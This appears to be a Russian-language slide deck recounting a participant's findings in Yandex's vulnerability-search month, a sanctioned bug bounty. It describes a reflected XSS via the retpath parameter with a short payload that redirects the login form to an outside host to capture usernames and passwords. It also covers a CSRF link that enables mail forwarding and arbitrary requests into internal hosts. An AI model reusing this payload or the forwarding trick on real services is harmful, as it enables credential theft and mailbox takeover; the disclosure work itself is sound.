Месяц поиска уязвимостей Яндекса

Что это было?
Что искать:
межсайтовый скриптинг (XSS);
межсайтовая подделка запросов (CSRF);
небезопасное управление сессией;
инъекции;
ошибки в механизмах аутентификации и авторизации;
Где искать:
*.yandex.ru, com, com.tr, kz, ua, by, net, st;
*.ya.ru.
*.moikrug.ru.

Почему искать?
Интерес
Не часто компании такого уровня дают полный карт-бланш в действиях – хочется посмотреть как всё устроено внутри, в случае успешной атаки;
Интерес
Понять, каков же реальный уровень защищенности сервисов одной из крупнейших IT компаний в России;
Деньги
В случае победы, $5k неплохой бонус за работу, сделаную ради интереса.

Что искал
RCE, различные переполняшки;
SQL injection;
Способы проникновения во внутреннюю инфраструктуру;
XSS;
CSRF;

Как искал
Представить, как оно могло бы работать;
Сделать легкий ручной fuzzing, посмотреть на реакцию.
Где искал
mail.yandex.ru

Что нашел
Пассивные XSS;
Некритичные раскрытия данных;
Различные бесполезные tricks;
CSRF;
да, я знаю, что это lame ;)

XSS уязвимость
Доверенный параметр retpath в passport.yandex.ru

XSS exploit
Как использовать максимально эффективно?
Украсть не сессию, но логин и пароль.

<br>window.onload=function() {<br> document.forms['MainLogin'].action='//kyprizel.net/p.php';<br>}<br>

Раскрытия
Neo2 XML + Oracle PL/SQL
Neo2 handlers

Раскрытия
Modjs.js
…

Tricks
Произвольные GET запросы через Ленту
в том числе внутри DMZ:
blackbox.yandex.net
csearch.mail.yandex.net
Сканирование портов через mail collector;
nothing interesting :(

CSRF
ckey
Не работающая CSRF защита в интерфейсе neo
Как использовать максимально эффективно? - Включить форвардинг писем на свой адрес.

CSRF exploit
Step 1
http://mail.yandex.ru/neo2/#setup/filters-confirm/e=Ut7tUs8g8jFFRbI4JOC%2ALUKGjDmZsg%2ANtGNtsYGO66aSjD%2AjgMzkllOOEUyjbUnVLiRMEBkrx34%3D

CSRF exploit
Step 2
PROFIT!